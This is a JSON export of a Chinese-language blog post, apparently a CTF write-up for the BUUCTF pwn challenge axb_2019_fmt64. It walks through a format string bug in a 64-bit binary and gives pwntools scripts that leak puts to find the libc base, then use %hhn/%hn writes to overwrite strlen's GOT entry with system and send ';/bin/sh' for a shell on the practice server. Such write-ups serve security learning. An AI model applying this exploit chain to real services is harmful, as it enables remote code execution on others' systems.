{"id":425,"date":"2025-08-10T13:40:38","date_gmt":"2025-08-10T05:40:38","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=425"},"modified":"2025-08-10T13:41:37","modified_gmt":"2025-08-10T05:41:37","slug":"buuctfaxb_2019_fmt64%ef%bc%88%e5%86%99%e5%93%ad%e4%ba%86%ef%bc%89","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/08\/10\/buuctfaxb_2019_fmt64%ef%bc%88%e5%86%99%e5%93%ad%e4%ba%86%ef%bc%89\/","title":{"rendered":"buuctf:axb_2019_fmt64\uff08\u5199\u54ed\u4e86\uff09"},"content":{"rendered":"\n

1\u3001axb_2019_fmt64\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n


64\u4f4dpartial+NX,\u53c8\u662f\u8be5\u6b7b\u7684\u590d\u8bfb\u673a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u5f88\u660e\u663e\uff0c\u8fd9\u5e76\u4e0d\u4f1a\u6808\u6ea2\u51fa\uff0c\u5e94\u8be5\u662f\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff0c\u6709printf\u5728\uff0c\u6211\u4eec\u6765\u52fe\u5f15\u4e00\u4e0b\uff0c\u56e0\u4e3a\u6709\u65f6\u949f\uff0c\u6240\u4ee5\u63d0\u524d\u5199\u597d\u7136\u540ecv<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5bf9\u5f97\u53ef\u9f50\u4e86\uff0c\u504f\u79fb\u662f8\uff0c\u8fd9\u9053\u9898\u6ca1\u6709system\uff0c\u90a3\u5c31\u8003\u8651\u6cc4\u9732libc\uff0c\u5176\u5b9e\u6bd4\u6628\u5929\u90a3\u9053\u9898\u591a\u4e86\u4e00\u70b9\u6b65\u9aa4\u3002<\/p>\n\n\n\n

\u8fd9\u9053\u9898\u6253\u7b97\u7528puts\u6765\u6cc4\u9732\uff0c\u90a332\u4f4d\u6211\u4eec\u7528p32(puts_got)+%8$s,64\u4f4d\u6709\u70b9\u4e0d\u540c\uff0c\u56e0\u4e3asend\u7684\u5730\u5740\u548c\u6784\u9020\u7684\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u4e4b\u95f4\u6709\u597d\u591a\u4e2a00\uff0c\u6240\u4ee5\u4f1a\u5728\u4e4b\u524d\u5c31\u622a\u65ad\uff0c\u4e8e\u662f\u6211\u4eec\u628a\u5730\u5740\u653e\u540e\u9762<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u770b\uff0c\u8fd8\u662f\u6709\u4e2a\u5c0f\u95ee\u9898\uff0c\u7528\u504f\u79fb8\u540e\u9762\u8fd8\u662f\u4f1a\u67090\u622a\u65ad\uff0c\u6240\u4ee5\u8bd5\u8bd59,\u6ca1\u6bdb\u75c5\u554a<\/p>\n\n\n\n

from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",27644)\nelf=ELF(\".\/axb_2019_fmt64\")\n\nputs_got=elf.got['puts']\npayload=b'%9$s'+b'aaaa'+p64(puts_got)\np.recvuntil(\"Please tell me:\")\np.send(payload)\np.recvuntil(\"Repeater:\")\nputs=u64(p.recv(6).ljust(8,b'\\x00'))\nprint(hex(puts))\np.interactive()\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u53ef\u4ee5\u67e5\u4e00\u4e0b\uff0c\u662f2.23<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u63a5\u4e0b\u6765\u5c31\u662f\u8ba1\u7b97\u5730\u5740\u548c\u4fee\u6539\u5730\u5740\uff0c\u8fd9\u91cc\u6682\u65f6\u4e0d\u80fd\u7406\u89e3\uff0c\u53ea\u662f\u770b\u7740\u5927\u4f6c\u7684\u6587\u7ae0\u505a\u4e00\u4e0b\uff0c64\u4f4d\u7684\u533a\u522b\u611f\u89c9\u633a\u5927\u7684\uff0c\u4e4b\u524d32\u4f4d\u6211\u4eec\u76f4\u63a5\u7528fmtstr_payload()\u76f4\u63a5\u6539\u4e86\uff0c\u611f\u89c9\u633a\u65b9\u4fbf\uff0c\u4f46\u662f64\u4f4d\u4e0d\u80fd\u76f4\u63a5\u6539,\u6211\u4eec\u6cc4\u9732got\u8868\u5730\u5740\u7684\u65f6\u5019\u662f\u4ece\u6700\u540e\u4e00\u4f4d\u6765\u65f6\u6cc4\u9732\u7684\uff0c\u6539\u7684\u65f6\u5019\u4e5f\u662f\u4ece\u540e\u9762\u5f00\u59cb\u6539\uff0c\u90a3\u8fd9\u4e24\u4e2a\u5730\u5740\u7684\u5dee\u522b\u662f\uff1f<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u9762\u662f\u67093\u4f4d\u4e0d\u540c\uff0c\u4f46\u662f\u6211\u4eec\u52ab\u6301\u4ec0\u4e48\u51fd\u6570\u5462\uff0c\u8fd9\u91cc\u662f\u4e2a\u5f2f\u8def\uff0c\u6574\u5d29\u6e83\u4e86\uff0c\u6211\u4eec\u76f4\u63a5\u8d70strlen\u5427\uff0c\u5173\u4e8e\u4fee\u6539\uff0c\u5c31\u662f\u4e00\u6b21\u4fee\u6539\u4e00\u4e2a\u5b57\u8282\uff0c\u8fd9\u91cc\u5206\u6210\u9ad8\u4f4e\u4e24\u4e2a\uff0c\u5355\u5b57\u8282\u662fhhn,\u53cc\u5b57\u8282hn,\u56db\u5b57\u8282n<\/p>\n\n\n\n
\u9996\u5148\u628a\u9ad8\u5b57\u8282d1\u6539\u6210cf\uff0c\u504f\u79fb\u662f12\uff0c\u800c\u4e14\u5728\u5229\u7528\u4e4b\u524d\u5df2\u7ecf\u6709’Repeater:’,\u6240\u4ee5<\/p>\n\n\n\n
b'%'+str(high-9)+b'c%12$hhn'+b'%'+str(low-high)+b'c%13$hn'<\/code><\/pre>\n\n\n\n

\u786e\u5b9e\u5f88\u96be\u7406\u89e3\uff0c\u5148\u809d\u51fa\u6765\u518d\u8bf4\uff0c\u6162\u6162\u6765\uff0c\u73b0\u5728\u770b\u4e00\u4e0b\u8fd9\u4e2a\u6709\u591a\u957f<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29654)\nelf=ELF(\".\/axb_2019_fmt64\")\n\nputs_got=elf.got['puts']\npayload=b'%9$s'+b'aaaa'+p64(puts_got)\np.recvuntil(\"Please tell me:\")\np.send(payload)\np.recvuntil(\"Repeater:\")\nputs=u64(p.recv(6).ljust(8,b'\\x00'))\nprint('puts->'+hex(puts))\n\nstrlen_got=elf.got['strlen']\nprint('strlen->'+hex(strlen_got))\nlibc=ELF(\".\/libc-2.23.so\")\nbase=puts-libc.sym['puts']\nsys=base+libc.sym['system']\nprint('sys->'+hex(sys))\n\nhigh=(sys>>16)&0xff\nlow=sys&0xffff\nprint('high->'+hex(high))\nprint('low->'+hex(low))\npayload=b'%'+bytes(str(high-9),encoding='utf-8')+b'c%12$hhn'+b'%'+bytes(str(low-high),encoding='utf-8')+b'c%13$hn'\nprint(len(payload))\nprint(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
TAT\u8981\u54ed\u4e86\uff0c\u4e0d\u8fc7\uff0c\u5feb\u8981getshell\u4e86<\/p>\n\n\n\n
2\u3001axb_2019_fmt64\u542b\u6cea\u62ffflag<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29654)\nelf=ELF(\".\/axb_2019_fmt64\")\n\nputs_got=elf.got['puts']\npayload=b'%9$s'+b'aaaa'+p64(puts_got)\np.recvuntil(\"Please tell me:\")\np.send(payload)\np.recvuntil(\"Repeater:\")\nputs=u64(p.recv(6).ljust(8,b'\\x00'))\nprint('puts->'+hex(puts))\n\nstrlen_got=elf.got['strlen']\nprint('strlen->'+hex(strlen_got))\nlibc=ELF(\".\/libc-2.23.so\")\nbase=puts-libc.sym['puts']\nsys=base+libc.sym['system']\nprint('sys->'+hex(sys))\n\nhigh=(sys>>16)&0xff\nlow=sys&0xffff\nprint('high->'+hex(high))\nprint('low->'+hex(low))\npayload=b'%'+bytes(str(high-9),encoding='utf-8')+b'c%12$hhn'+b'%'+bytes(str(low-high),encoding='utf-8')+b'c%13$hn'\nprint(len(payload))\nprint(payload)\npayload=payload.ljust(32,b'a')+p64(strlen_got+2)+p64(strlen_got)\np.recvuntil(\"Please tell me:\")\np.sendline(payload)\np.sendline(';\/bin\/sh\\x00')\np.interactive()<\/code><\/pre>\n\n\n\n

TAT\u6211\u8fd8\u662f\u597d\u83dc<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u63a8\u8350\u70b9\u6587\u7ae0\u5427<\/p>\n\n\n\n
Angel~Yan<\/a>\u5e08\u5085\u7684\uff1a<\/p>\n\n\n\n
https:\/\/blog.csdn.net\/mcmuyanga\/article\/details\/113242453?fromshare=blogdetail&sharetype=blogdetail&sharerId=113242453&sharerefer=PC&sharesource=Yilanchia&sharefrom=from_link<\/a><\/p>\n\n\n\n
\u6d77\u8703\u5e08\u5085\u7684\uff1a<\/p>\n\n\n\n
https:\/\/www.anquanke.com\/post\/id\/194458?display=mobile<\/a><\/p>\n\n\n\n
Raider-XL\u5e08\u5085\u7684\uff1a
https:\/\/tamoly.github.io\/2025\/07\/22\/BUUCTF-PWN%E9%A2%98%E8%A7%A3\/axb_2019_fmt64(%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E)\/<\/a><\/p>\n\n\n\n
\u611f\u8c22\u5927\u4f6c\u7684\u6587\u7ae0\uff0c\u4e0d\u7136\u4eca\u5929\u5c31\u5361\u58f3\u4e86……<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001axb_2019_fmt64\u5206\u6790 64\u4f4dpartial+NX,\u53c8\u662f\u8be5\u6b7b\u7684\u590d\u8bfb\u673a \u5f88\u660e\u663e\uff0c\u8fd9\u5e76\u4e0d\u4f1a\u6808\u6ea2\u51fa\uff0c\u5e94 […]<\/p>\n","protected":false},"author":1,"featured_media":446,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-425","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/425","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=425"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/425\/revisions"}],"predecessor-version":[{"id":447,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/425\/revisions\/447"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/446"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=425"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=425"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=425"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}